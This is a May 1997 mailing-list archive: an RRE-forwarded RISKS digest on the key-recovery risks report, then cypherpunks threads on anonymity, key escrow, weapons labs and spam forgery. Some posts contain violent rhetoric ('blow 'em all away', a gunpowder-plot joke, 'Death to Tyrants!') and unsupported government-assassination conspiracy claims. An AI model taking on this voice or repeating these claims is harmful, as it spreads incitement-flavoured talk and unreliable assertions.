From:          Phil Agre <pagre@weber.ucsd.edu>
To:            rre@weber.ucsd.edu
Subject:       key recovery report, information hiding, and fire ants
Reply-to:      rre-maintainers@weber.ucsd.edu

[I trust Matt and Ross, but the fire ants story is too good to be true.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 21 May 1997 07:05:53 -0700 (PDT)
From: risks@csl.sri.com
Subject: RISKS DIGEST 19.17

RISKS-LIST: Risks-Forum Digest  Wednesday 21 May 1997  Volume 19 : Issue 17

----------------------------------------------------------------------

Date: Tue, 20 May 1997 20:27:08 -0400
From: Matt Blaze <mab@research.att.com>
Subject: RISKS of Key-Recovery Encryption

In January 1997, an ad-hoc group of cryptographers and computer scientists
met to explore the technical implications, risks, and costs of the ``key
recovery'', ``key escrow'' and ``trusted third party'' encryption systems
being promoted by various governments.  We have just completed a preliminary
report of our findings.

We have specifically chosen not to endorse, condemn, or draw conclusions
about any particular regulatory or legislative proposal or commercial
product.  Rather, it is our hope that our findings will shed further light
on the debate over key recovery and provide a long-needed baseline analysis
of the costs of key recovery as policymakers consider embracing one of the
most ambitious and far-reaching technical deployments of the information
age.

Our preliminary report is available as follows:

On the web at:
   http://www.crypto.com/key_study

In PostScript format via ftp:
   ftp://research.att.com/dist/mab/key_study.ps

In plain ASCII text format via ftp:
   ftp://research.att.com/dist/mab/key_study.txt

=======================================================================

	      THE RISKS OF KEY RECOVERY, KEY ESCROW, AND
		    TRUSTED THIRD-PARTY ENCRYPTION

			     Hal Abelson
                            Ross Anderson
			  Steven M. Bellovin
			     Josh Benaloh
			      Matt Blaze
	                   Whitfield Diffie
			     John Gilmore
			   Peter G. Neumann
			   Ronald L. Rivest
			 Jeffery I. Schiller
			    Bruce Schneier

			     21 May 1997

Executive Summary:

A variety of ``key recovery,''``key escrow,'' and ``trusted third party''
encryption requirements have been suggested in recent years by government
agencies seeking to conduct covert surveillance within the changing
environments brought about by new technologies.  This report examines the
fundamental properties of these requirements and attempts to outline the
technical risks, costs, and implications of widely deploying systems that
provide government access to encryption keys.

The deployment of a global key-recovery-based encryption infrastructure to
meet law enforcement's stated specifications will result in substantial
sacrifices in security and greatly increased costs to the end-user.
Building the secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field.  Even if such an infrastructure could be built, the
risks and costs of such a system may ultimately prove unacceptable.

These difficulties are a function of the basic law enforcement requirements
proposed for key-recovery encryption systems.  They exist regardless of the
design of the recovery system -- whether the system uses private-key
cryptography or public-key cryptography; whether the database is split with
secret sharing techniques or maintained in a single hardened secure
facility; and whether the recovery service provides private keys, session
keys, or merely decrypts specific data as needed.

All key-recovery systems require the existence of a highly sensitive and
highly available secret key or collection of keys that must be maintained in
a secure manner over an extended time period.  These systems must make
decryption information quickly accessible to law enforcement agencies
without notice to the key owners.  These basic requirements make the problem
of general key recovery difficult and expensive -- and potentially too
insecure and too costly for many applications and many users.

Attempts to force the widespread adoption of key-recovery encryption through
export controls, import or domestic use regulations, or international
standards should be considered in light of these factors.  The public must
carefully consider the costs and benefits of embracing government-access key
recovery before imposing the new security risks and spending the huge
investment required (potentially many billions of dollars, in direct and
indirect costs) to deploy a global key recovery infrastructure.

------------------------------

Date: Sat, 17 May 1997 13:59:48 +0100
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
Subject: Information-Hiding Workshop

Call for Papers, WORKSHOP ON INFORMATION HIDING (pruned for RISKS)
15 - 17 April 1998, Portland, Oregon

Many researchers are interested in hiding information or in stopping other
people doing this. Current research themes include copyright marking of
igital objects, covert channels in computer systems, subliminal channels in
cryptographic protocols, low-probability-of-intercept communications,
broadcast encryption schemes, and various kinds of anonymity services
ranging from steganography through location security to digital elections.

These closely linked areas of study were brought together in 1996 by a
workshop on information hiding held at the Isaac Newton Institute in
Cambridge. This was felt to be very worthwhile by the research community,
and it was decided to hold a second workshop in 1998.

This second international workshop on information hiding will be held in
Portland, Oregon from the 15th to the 17th April 1998.

See http://www.cl.cam.ac.uk/users/rja14/ihws.html for the call for papers.
Papers should be submitted by 31 Dec 1997 to awk@mailbox.jf.intel.com
(Program Chairman David Aucsmith, Intel Architecture Labs, 5200 N. E. Elam
Young Parkway, Hillsboro, OR 97124-6497, USA).  The program committee also
includes Ross Anderson, Steve Low, Ira Moskowitz, Andreas Pfitzmann,
Jean-Jacques Quisquater, Gus Simmons, and Michael Waidner.

Details of the first (1996) information-hiding workshop are at
http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html

  [Watch out for the invisible steganosauruses.  PGN]

------------------------------

Date: Tue, 20 May 1997 12:33:20 -0400
From: "Mich Kabay [NCSA]" <Mich_Kabay@compuserve.com>
Subject: Another Computer Bug: Ants in the Machine

>From WIRED via PointCast:

> Another Computer Bug: Ants in the Machine
> by Ashley Craddock, 19 May 1997

> Stephanie Upps watched in horror as one of her final papers disappeared
> off her PowerBook at 2 a.m. one night during her last semester as a
> University of Texas graduate student. Her friends couldn't find the bug,
> so she called the 1-800 support line in desperation.  "They told me to
> pull out the battery and give them the serial number," she says. "When I
> did, it was just crawling with ants."  Far from a fluke, Upps' encounter
> with ants in the machine is happening to others with greater
> frequency. "The problem's endemic across Texas," she said.

The author makes the following key points:

* Major problem is fire ants, an exotic introduced to the Southern US in
  the 1920s.

* Fire ants seem to like living in and eating electrical equipment.

* The critters may be attracted by electrical fields; Craddock writes,`
  "They have some short-range attraction to electricity," says Dr. Harlan
  Thorvilson of Texas Tech's Department of Plant and Soil Sciences. . . .
  "They become almost mesmerized and behave oddly, piling dirt against the
  wires and signaling to other members of their communities who come and
  join them." ' 

[MK: I don't want to make a mountain out of an ant-hill, but this looks like
a case of form(icidae) over function.  I expect further creepy puns from our
moderator, perhaps about how the victims are engaged in formication and
should ant-icipate trouble.]

M.E. Kabay, PhD, CISSP (Kirkland, QC), Director of Education
National Computer Security Association (Carlisle, PA) http://www.ncsa.com

  [Turn on the fire-hider-ants; someone is in for a shock.  PGN]

------------------------------

End of RISKS-FORUM Digest 19.17 
************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 14:00:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <19970521224401.50679@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 06:39:39PM +0100, Adam Back wrote:
> 
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> > >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> > 	[rant deleted - bill]
> > >Speaking of power corrupting, notice how the power to speak 
> > >anonymously has destroyed this poor souls brain.
> 
[...]
> 
> In short I believe you picked on the wrong guy if you considered
> Attila an example of someone with lots to say when hiding behind
> strong anonymity.
> 
> Adam

I should have posted my comment anonymously, obviously.  I appologize 
to Mr Hun and the world for my mistake.  I must have confused him 
with one of the TMs.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 12:22:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunk criminalization
In-Reply-To: <v03007807afa968fc0dbe@[207.167.93.63]>
Message-ID: <199705220417.XAA08066@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007807afa968fc0dbe@[207.167.93.63]>, on 05/21/97 
   at 09:16 PM, Tim May <tcmay@got.net> said:

>(My spies within LLL tell me of desperate efforts to find alternative
>funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
>government lab which loses its main raison d'etre cannot reconfigure
>itself as a "think tank" for private industry. Gimme a break.)


"think" and "government" should never be used in the same paragraph. I was
laughing so hard at the prospects of government drones trying to compete
in the private sector I pulled a muscle.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4PXCI9Co1n+aLhhAQHZSwP+KyBe6YBoJya4QIAq+1wXLwnQ6z93hpT8
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4H4Ivw87pKg=
=ObEC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 14:26:32 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <19970521231024.42348@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 07:16:03PM -0800, Tim May wrote:
> At 5:41 PM -0800 5/21/97, Kent Crispin wrote:
> 
> >I don't think this problem can be "fixed" in any meaningful way.  You
> >just argued that the problem is a consequence of "perfectly logical
> >game-theoretic reasons".  There is nothing in the crypto-anarchy
> 
> Game-theoretic reasons depends on the rules of the game. 

The game of personal power isn't going to change.

[...]

> But more rules need to change. Many of us (most of us?) expect strong
> crypto to be a catalyst for some major changes. You, Kent, obviously
> disagree,

Yep.  I disagree.

> and push for more government involvement to shore up the existing
> rules.

False.  How *do* you come up with these?

> You are not evil, as per my point, but your kind will be swept aside,
> possibly violently but probably through a shut-down of the Livermore Labs.
> 
> (My spies within LLL tell me of desperate efforts to find alternative
> funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
> government lab which loses its main raison d'etre cannot reconfigure itself
> as a "think tank" for private industry. Gimme a break.)

Well, your spies aren't doing a very good job.  The new buzzword is 
"stockpile stewardship" -- and in the face of a comprehensive test ban 
treaty, there is no way to be sure that things will go off when you 
want them to.  So the importance of computer simulations has grown, 
and lots of money is being put into that.  These new teraflop 
machines cost lots, and need lots of infrastructure -- the one on tap 
in the 3 year timeframe, I hear, requires over 10 megawatts of 
electricity (that includes the cooling).

Still, computers are probably cheaper than physical tests...but I'm a 
computer scientist, and not a physicist...

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 15:00:13 +0800
To: cypherpunks@algebra.com
Subject: Re: Nuking the Weapons Labs
In-Reply-To: <v03007807afa968fc0dbe@[207.167.93.63]>
Message-ID: <19970521232341.43800@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 09:39:57PM -0800, Tim May wrote:
> At 8:07 PM -0800 5/21/97, Willaim H. Geiger III wrote:
[...]
> >"think" and "government" should never be used in the same paragraph. I was
> >laughing so hard at the prospects of government drones trying to compete
> >in the private sector I pulled a muscle.
> 
> Believe it. I suspect the "we can help you" program Kent Crispin is working
> on (some form of key recovery) is just such a program.

Nope.

[...]

> None of these "commercialization" efforts went anywhere, nor was it ever
> appropriate for taxpayer-funded labs to enter into competition with
> privately-funded enterprises like Cadence, Daisy, Cray, etc.
> 
> To be sure, LLL and LANL do pretty nice jobs of making hydrogen bombs. Now
> that H-bombs are passe, "remediation" is one way they're seeking contracts
> to survive. (Remediation of nuclear waste and existing weapons.)
> 
> And things like the Extreme UV project. Look for an announcement soon.

As I said in a previous post, your spies aren't serving you well.  
However, it is just as well that you remain poorly informed.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 14:45:08 +0800
To: cypherpunks@cyberpass.net
Subject: Huns 1, Romans 0
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <v0300780aafa9a68682fd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:44 PM -0800 5/21/97, one of the KCs wrote:

>I should have posted my comment anonymously, obviously.  I appologize
>to Mr Hun and the world for my mistake.  I must have confused him
>with one of the TMs.

One of the TMs? How could you mistake Attila for me?


--TM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 16:00:22 +0800
To: cypherpunks@toad.com
Subject: Re: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <199705212141.OAA14578@fat.doobie.com>
Message-ID: <19970521233436.44929@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 02:41:57PM -0700, Huge Cajones Remailer wrote:
[...]
> 
>   I don't have a problem with the opinions or points of view that
> Kent expresses on the cypherpunks list, but I do have a problem
> with the fact that his posts seem to reflect a pre-programmed
> world-view, with little thought given to the actual content and
> concepts expressed by those he is replying to.
>   I find Kent's posts to be much like the ASCII art that is posted
> to the list--each post is slightly different, but predictable. The
> aspersions that Kent casts on those such as Attila and Tim serve
> no purpose other than to accentuate the fact that he is envious
> of their propensity for dealing on a real-world level with the
> concepts he addresses from an intellectual ivory tower.
> 
[...]
>    Kent's posts reflect, in my opinion, what he has "learned to
> believe." When I read Kent's posts, I don't feel like I learn
> who he is, but rather, I learn the "position" that he is taking
> on this or that point.
>    Real name/anonymity aside, I see Attila as real and Kent as a
> shadowy figure. My advice to Kent would be, "If you're going to
> be an asshole, at least be a _real_ asshole."

[...] 

>   Once we form an "opinion" of _who_ somebody is and _what_they_
> believe_, and _who_they_are_, then we "interpret" what they
> have to say in their posts in accordance with our learned
> perception of them.

Boy, ain't that the truth.  Witness what you wrote above.

> I am:
> TruthMonger # -96

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 22 May 1997 15:20:22 +0800
To: cypherpunks@cyberpass.net
Subject: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522000739.00709ce0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:

>    as for the great fairweather liberal bigot Blanc's passing it off 
>    as tcm's drunken ramblings, I doubt it.  war is hell, and 
>    "innocents" get wasted --but, a society at war has no innocents.  
>    blow 'em all away.  scorched earth is inadequate; burnt earth is 
>    more effective. if there are no prisoners, there are no 
>    complainers.
...............................................................


If we were out in the field, you'd get fragged for calling me that.  <g>

If this society is at war, it is a Civil War, fighting against itself.   In
fact, there are many groups fighting against each other, on many different
levels:  racial, gender-based, religious, economic, philosophical, not to
leave out political.    Companies are fighting each other "tooth & nail"
for survival in marketing turfs, races are still exchanging vicious barbs,
homosexuals are under verbal & physical attack by the socially "normed",
the poor still envy & disparage the rich, women & children seem more than
ever to be at risk to attacks from roving sex perverts, the liberals would
love to put the libertarians under, religious groups lecture against the
moral depravity of all those "other" people, and half the country is either
stocking up for a National Disaster or forming into militia groups or other
Think Tanks to fight some sort of government encroachment (even the health
food stores where I shop are always posting sign-up sheets to vote against
something or another the government wants to ban or some right-of-choice
that is being threatened by proposed legislation).  

There are little battles raging on all around us, not only the fight for
privacy-by-encryption which you all are aware of.   Some cpunks have stated
that "society doesn't know or care what is happening".   Some of youall
don't know the kinds of battles or other people/groups are having, either
with government or with some opposing members of this same society.   There
is a lot of information out in the world competing for attention and
resources - on the net, on the intranet, in the TV, in the newspapers, in
magazines, in major newsletters, local newspapers, in posting on kiosks
("Get the US out of Nicaragua! " (sure, when I have a few free minutes and
a couple of extra bucks")).  

How can one keep up with/contribute to all of these?    So many times, I
will happen to read accounts of people who have got into trouble of some
kind, or down on their luck (they lost their job and don't have skills,
they need a heart transplant, they got jailed by mistake, the car
dealership gave them a bum deal), and they decide that society  doesn't
really know what is happening and complain that it is unsympathetic and
lament "when will society wake up and realize that something needs to be
done", etc..   Well, jeez, there's only so much time to spend on everybody
else's problems. 

All these people with their problems would like everyone one else to be
aware of their plight and sympathetic to their rights and to contribute to
their cause, and get disturbed about being "marginalized".  As far as I'm
concerned, everyone is "marginalized".   But people are behaving as
expected:   the Waco religious group acted as expected, the BATF acted as
expected; government employees behave as expected.   The cpunks, who know
so much about government, in particular the NSA & certain luminaries
related to privacy&encryption, should expect that things will go on as they
do - even if they bomb D.C. out of existence.   And this is because,
apparently,  people of this type & kind simply haven't evolved enough to
expect anything different.

Now, crypto was supposed to allow for the possibility of not having to deal
with these people directly;  it was supposed to usher in the new
technological era whereby one could "route around" and generally avoid
messing with Government Mongers, from negotiating for the right to breathe
on one's own Maintenance Schedule.   

Well, so much for an anarchic life of Independent Means.  I must say, from
the posts I've been reading these past several days, I haven't seen very
imaginative ideas for dealing with the problems which dull governments
create.   It is typical of dull governments that when pressed to the wall
they resort to desperate, mediocre ways of dealing with problems - like
obfuscation, exaggerated charges of evil intent, physical violence; all
signs of a limited intellectual capacity for coming to terms with the facts
of reality  (the problems they face as Protectors of Goodness & Justice
(tm) ).   

I would have expected newer, more creative ("evolved") ideas from
scientists, mathematicians, physicists, computer-savvy members.   

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 22 May 1997 16:43:37 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Hey, what does this mean?
In-Reply-To: <Pine.GSO.3.95.970521163045.13177M-100000@ece>
Message-ID: <3.0.1.32.19970522012455.00745ae8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:45 PM 5/21/97 -0400, Rabid Wombat wrote:
>Didn't a member of congress describe, in session, in detail, how to make a
>bomb, quoting instructions found on the Internet? Wouldn't this make
>possesion of the Congressional Record a felony? Anybody able to cite this
>reference? 

>On Wed, 21 May 1997, Ryan Anderson wrote:
>> Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?

Step back a sec, folks, Tim's article _was_ satire... (at least for now.)

On the other hand, a number of Senators have emailed me about the CDA and
instructions for making bombs and blowing up government buildings
(Amazing what you can get an auto-responder to do! :-)  Some of them
truncated their replies to 80 characters, and the House's email responder
was far more boring.  

Remember - November 5th, barrels of gunpowder in the basement,
and don't get caught this time!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 19:00:52 +0800
To: cypherpunks@toad.com
Subject: Key Recovery / The True Story
Message-ID: <199705221040.DAA09748@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  When Key Recovery and Key Escrow schemes become a fact of life, there
will be abuse and fraud of the nature that some on the cypherpunks list
have expressed concern about.
  The grandmother who is arrested for plugging a parking meter will have
her computer confiscated so the authorities can search for evidence that
her plugging of the meter was pre-planned. Some $20,000/year clerk is
going to dip into someone else's funds to support their drug habit. And
some government spook is going to break into a church's computer to find
out if they are secret terrorists because they oppose this or that
government policy.
  The fact of the matter is, the government is perfectly happy with the
citizens' vocal opposition to these possibilities because it provides a
convenient smokescreen for the greater import of Key Escrow. They will
occasionally pop a Jim Bell, or a "pornographer" to justify their "need"
for Key Escrow, but they will let nature take its course until their
capacity to monitor everyone, everywhere, all the time, is an accepted
fact of life.

  The real reasons for the push for Key Recovery and Key Escrow are
centered on global concerns.
  World power is acquired and maintained by acquiring and manipulating
information and opinion. Countries and companies are helped to rise and
fall from prominence. One is supported, another is sabotaged. One
politician has his sins covered and another has them exposed.
  The rich and the powerful have always ruled, no matter what form the
government of the day takes. It has always been so.

  When the government disinformation specialists incite the citizens to
fight over pennies, it is to distract them while the rulers steal their
dollars. The chaos of the citizen is the friend of the government, so
they work to promote a chaos that will meet their needs.
  They allow us to have our Saviors, but if our J.F.K.'s and our Martin
Luther Kings get too powerful, then they are removed. The allow us to
have our victories, but there is always a 'rider' attached that takes
away yet another of our rights and freedoms.
  While we fight battles, the government fights wars.

  Anyone who believes that the attack on Jim Bell is not aimed at the
CypherPunks is a fool.
  While we fight battles, the government fights wars.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 22 May 1997 19:46:15 +0800
To: cypherpunks@toad.com
Subject: Re: Spam IS Free Speech
Message-ID: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



> Spam is interfering with the *real* victim's (the sendmail operator's) 
> ability to provide customer service; in a very real and fiscally 
> damaging way. 

It's worse than that; some asshole has just sent out a spam with a forged
return address at $$$$@unicorn.com. There is absolutely nothing I can do
to stop people sending such forgeries, yet my mailbox is about to explode
with megabytes of complaints and mailbombs. I hate to think what kind of
mess I'll have to deal with when I get back from my holiday next week. 

Anyone know how to track down the owner of 1-800-322-6169 EXT 2561, the
only contact information in the spam? I'm not in the US so I can't call
them to complain. Is there any way I and the spammees could take legal
action against them without spending vast amounts of money?

	Mark

P.S. Privtool 0.90 is just out at utopia.hacktic.nl; I'll send a proper
announcement soon. Privtool is a PGP-aware mail program for X-windows, see
details at http://www.unicorn.com/privtool/privtool.html.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0083.myriad.ml.org (Matthew Ghio)
Date: Thu, 22 May 1997 16:23:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hey, what does this mean?
In-Reply-To: <v03007804afa7d8fc47e2@[207.167.93.63]>
Message-ID: <199705220903.FAA13788@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


> Anybody know what this means?
> 

It means that Tim May still has a sense of humor. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 22 May 1997 20:51:07 +0800
To: "Willaim H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705221224.HAA12708@mailhub.amaranth.com>
Message-ID: <Pine.SOL.3.96.970522052925.5017A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997, Willaim H. Geiger III wrote:

> I don't know what action if any you could do against this scumbag that
> would be worth the expence. I would contact whoever he is using as a mail
> gateway for his crap and see what if anything they are willing to do about
> this.

Thanks... unfortunately all I have is an IP address (206.9.80.114), which
resolves to somewhere at means.net. I've mailed them but guess they're all
asleep at the moment.

	Mark







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 22 May 1997 14:30:31 +0800
To: kent@songbird.com>
Subject: YUP:  Re: Wine Politics Again!
In-Reply-To: <XHL27D61w165w@bwalk.dm.com>
Message-ID: <199705220618.AAA01842@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970521:0304 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+ writes:

+> On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
+> [...]
+> >    as for the great fairweather liberal bigot Blanc's passing it off
+> >    as tcm's drunken ramblings, I doubt it.  war is hell, and
+> >    "innocents" get wasted --but, a society at war has no innocents.
+> >    blow 'em all away.  scorched earth is inadequate; burnt earth is
+> >    more effective. if there are no prisoners, there are no
+> >    complainers.
+>
+> Speaking of power corrupting, notice how the power to speak
+> anonymously has destroyed this poor souls brain.

+Fuck you, Kent.
    __________<

    thanx, Dimitri, I could not have replied more eloquently myself.

        and, I never had complainers after burnt earth actions. Kent
    is obviously jealous and angry he was not along for the ride 30+
    years ago.

    actually, I did abhor the policy sufficiently to resign a 
    commission w/o benefits and to suffer their standard means of
    discredit.

    I guess Kent is still wet behind the ears, no use wasting the time
    to clue him in on Hr. Doktor Professor.... 

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM4Pkzr04kQrCC2kFAQGcSgQAkNbtWEW2jrimgWx0Ql8BaBb6fasRO8Qj
hrdNv5yz29Mmgy08KIvsYtT+ijRFm7b58qQQl+AFJQp37AM5FnDkvacvX4c5UUdc
s1MCuvZ/Xqw4tLOOG+BY2J2FboULBpDUWBbhP2ppRcpFRVC6WzwqX8oLcNPo3deR
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=cVp1
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 22 May 1997 20:17:23 +0800
To: cypherpunks@toad.com
Subject: Re: Hey, what does this mean?
In-Reply-To: <199705220903.FAA13788@myriad.alias.net>
Message-ID: <6Zq47D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ghio@temp0083.myriad.ml.org (Matthew Ghio) writes:

> > Anybody know what this means?
> >
>
> It means that Tim May still has a sense of humor. :)
>
That's good.  I would never guess from his list traffic.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 22 May 1997 23:02:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <199705221413.HAA21211@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


>Before charging to the rescue its a good idea to make sure
>that you are rescuing the right person. Government agents
>also have the right not to be threatened with murder.

Threats are illogical.

  --Sarin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 20:38:59 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
Message-ID: <199705221224.HAA12708@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>, on
05/22/97 
   at 05:27 AM, Mark Grant <mark@unicorn.com> said:


>> Spam is interfering with the *real* victim's (the sendmail operator's) 
>> ability to provide customer service; in a very real and fiscally 
>> damaging way. 

>It's worse than that; some asshole has just sent out a spam with a forged
>return address at $$$$@unicorn.com. There is absolutely nothing I can do
>to stop people sending such forgeries, yet my mailbox is about to explode
>with megabytes of complaints and mailbombs. I hate to think what kind of
>mess I'll have to deal with when I get back from my holiday next week. 

>Anyone know how to track down the owner of 1-800-322-6169 EXT 2561, the
>only contact information in the spam? I'm not in the US so I can't call
>them to complain. Is there any way I and the spammees could take legal
>action against them without spending vast amounts of money?

>	Mark

>P.S. Privtool 0.90 is just out at utopia.hacktic.nl; I'll send a proper
>announcement soon. Privtool is a PGP-aware mail program for X-windows,
>see details at http://www.unicorn.com/privtool/privtool.html.


Well this seems to be some MLM scam, get rich quick scheme. The number
dumps you into a prerecorded voice message for the Global Prosparity Group
(I doubt that it is a registered name). You may be able to get more
information calling 1-618-692-3972. It seems to be a number for the
company that owns the 1-800 number and manages the mailboxes for the other
companies.

I don't know what action if any you could do against this scumbag that
would be worth the expence. I would contact whoever he is using as a mail
gateway for his crap and see what if anything they are willing to do about
this.

Hope this helps,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
